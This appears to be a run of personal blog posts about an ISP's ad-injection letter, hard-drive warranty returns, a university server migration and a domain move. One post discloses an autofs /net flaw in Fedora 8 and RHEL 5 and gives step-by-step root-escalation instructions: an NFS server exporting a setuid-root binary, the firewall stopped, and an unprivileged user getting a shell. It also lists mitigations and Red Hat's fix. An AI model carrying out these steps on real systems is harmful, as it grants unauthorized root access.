Today, I received a letter from Charter Communications citing new ‘enhancements’ that they are planning on sending my way.
In the body of the letter, they gave a basic description of deep packet inspection, and AD hijacking.
I have never been a satisfied customer with Charter, in fact, its the least reliable internet access that I have used in several years.
The attached letter just adds to my disappointment in their service:No comments
Late last night, I was up configuring my media center PC (I made a fresh install of Fedora 8). I decided to use the pre configured /net mount point with autofs to mount my desktop on to my media center (basically, this is an easy way to mount NFS file systems on demand).
I simply made a symlink to /net/mydesktop.getmyip.com/home/josh in /home. So that when I cd to /home/josh on my media center, it will automount the NFS share off of my desktop. This setup works pretty well for what I am doing.
A while later I inspected the mount on the client. With the “mount” command:
DESKTOP.getmyip.com:/home/josh on /net/DESKTOP.getmyip .com/home/josh type nfs (rw,addr=192.168.1.3)
Well, it might not look like there is anything wrong here. But there is.
On a stock Fedora or RedHat EL 5+ load (Tested against CentOS, but this is supposed to be a 1:1 clone of RHEL), if a user changes to a directory under /net/xxx.xx.com/, they can automount a remote path of their choosing. The user does not need any special privileges. And, because the filesystem is not mounted without “nosetuid”, the user can mount a server they control and run setuid executables (there is more information here, but all you need to know is this allows any user to execute a program with special file permissions as “root”). Also, unlike described in many solaris automounter examples, there are no entries in the hosts file.
If you would like to see this flaw for yourself, follow these directions:
- only try this on your OWN computer systems
- I’m not responsible for any actions you decide to take
- I’m not responsible for any dataloss/damage that may occur from using anything discussed here.
- I’m not a hacker.
- I’m just a guy that found a vulnerability that I would like to see fixed.
A vulnerable system will
- have this line in its /etc/auto.master: “/net -hosts” (without “-nosetuid”)
- the “autofs” service will be installed and running:
- NOTE: This is the default configuration in CentOS 5 (RHEL clone) and Fedora 8
To gain root access on this system, you have to configure an NFS server on another computer (these directions assume you are running a red hat server):
- create a /etc/exports with the line: /export *(ro,no_root_squash)
- mkdir /export
- chmod 755 /export
- wget <file attached to this blog: egg.c>
- gcc egg.c
- chown root a.out
- chmod 4755 a.out
- /etc/init.d/iptables stop
- /etc/init.d/ip6tables stop
- /etc/init.d/portmap start
- /etc/init.d/nfs start
- /etc/init.d/idmapd start
- (probably a few others I’m not thinking of too, basically get a working NFS4 server)
Now, with an unprivileged account on the client:
- cd /net/hostname.of.server.com/export
- At this point, you will have a root shell on the client. You shouldn’t have had to make any configuration changes on the client to get here.
[josh@media josh]$ hostname
[josh@media josh]$ pwd
[josh@media josh]$ whoami
[josh@media josh]$ ./egg
- If you do not use /net mounts, just edit your /etc/auto.master and comment out the line entirely. Be sure to restart autofs.
- otherwise, you can always add the “-nosetuid” flag to the line, which will prevent executables on the share from being executed as root.
Though this may seem like a complex hack, it is pretty trival, and leaves a gaping hole in RedHat’s enterprise platform.
In my mind, the idea of having /net on RHEL, while nice, is a bad idea in general. I can imagine /net possibly helping PHP include exploits rootkit web servers, and much more.
I have already reported this configuration vulnerability to RedHat through bugzilla, and I dropped them an email at firstname.lastname@example.org .
RedHat resolved the issue very quickly. I am happy to see that they do take security very seriously. RedHat Made a public advisory on the 12th, which you can see here. They changed autofs, so that “nosuid” is now default. “suid” has to be explicitly stated, if it is desired on an autofs mount point.1 comment
Since July, I’ve had two drives fail in my computers (both are Western Digital). Drive failures happen, tough luck.
Fortunately, these drives were both in RAID arrays at the time of failure, so nothing lost. Both of the drives are relitavely modern, and both of them are/were in their warranty period. The first drive that failed generated a bunch of seek errors, but I was able to successfully wipe the whole thing, so I sent it in for replacement. Unfortunately, the drive that died last week is a total loss. I can’t get it to wipe itself at all. I’m seeing hundreds of thousands of seek errors, and no sectors are being successfully written with random data. So my delima is, I want to get a replacement back from warranty, I believe I deserve one, but at the same time, I want to maintain the security I have over my data.
I can’t seem to find a solution that gets me the security I want and my rightful replacement. Western Digital’s policy is that they will only replace drives that are fully in tact, or opened by a specialized data recovery shop. But, thats not only WD: this seems to be the policy all across the board, all drive manufactures, and all the service contract policies that I have seen. Why is this? To me, it seems that *most* hard drives that fail would probably contain proprietary/confidential information. When these drives are returned, what happens to them? If companies like Western Digital operate like other electronics manufacturers, the drives are probably sold wholesale to scavengers. In the wrong hands this can be a disaster.
In a world where I get active attacks on every open port on my computer, I am weary giving anyone access to any of digital information, especially a hard drive that may contain my social security number, passwords to boxes on my network and where I work, or even sites like paypal.
Hard Drive companies really need to get their act together. I would be more than happy to mail the cover of my hard drive in. That would be a great compromise, I would get to keep all my personal data safe, and Western Digital could know that I’m not conning them into sending a replacement Hard Drive. It would be a win-win situation. Now, why can’t I seem to get Western Digital to agree with me on that?1 comment
Well, it has been a month since my last (second) post on this blog.
The month has been long. Currently, I’m having a great time at Apple, and I’m helping get the Computer Science department ready for the coming school year in my spare time. This year we made large changes to our server infrastructure, and have been working almost non stop on that. The good news is that we finally have all of our users over in Active Directory, well, sort of…. Our solaris boxes didn’t want to play nice with AD like they had been in the past, so we are still maintaining two passwd databases, and syncronizing uids and gids between the two.
So now for migration. Not all of those solaris/unix users even exist in AD, we have over 4,000 accounts in our old unix domain, so right now we have our new nfs server mounted from both user databases on different servers. And on our old unix server we ended up putting big warnings to get people to test their passwords on the new domain. It ended up not turning out extremely bad.
So here is what we have left to do:
- Get sunrays working across subnets again (Greg suspects a bug in the newest srss package)
- Get (production) mail onto a linux server, get people to migrate their clients.
- Finish packaging proprietary software from horrible install bundles (these people act like they are writing windows software, I don’t want an interactive click through menu! x200 lab machines is not manageable like this, I’m sorry) into a more redhat like rpm.
- Fix all our account creation scripts to work well with our new AD setup (for now we are going to be using hacked together inline bash scripting to generate a fake passwd map for AD importation, we don’t have time to deal with this problem, too many others)
- Probably other stuff/problems that come up
And on top of all this, I still have to complete my Apple internship, and move into my new appt down in SLO.
I think we can pull this off though, I’m sure the Saturday and Sunday before Septemer 17th will be crazy.No comments
Last week I compiled a list of interesting videos that I have found on the web. Here they are:
Well, I can’t say anything really special happened today. I just transfered my domain (joshlange.net) away from godaddy , and connected it to my newly created dreamhost account. I’m saving a small chunk of change on registering the domain (considering all the little add-ons that godaddy tries to market), but mainly dreamhost has impressed me with their UI in the past.
Before today, my page was hosted on the Computer Science servers at Cal Poly (through the use of the standard apache user_home). This is actually the first time I’ve had real hosting for this domain.
At $100/yr for way more storage and bandwith than I need, I feel I got a pretty good deal. Though when I saw their overage charges I was pretty astonished. I will just have to make sure I never get slashdoted (which isn’t that likely anyway).No comments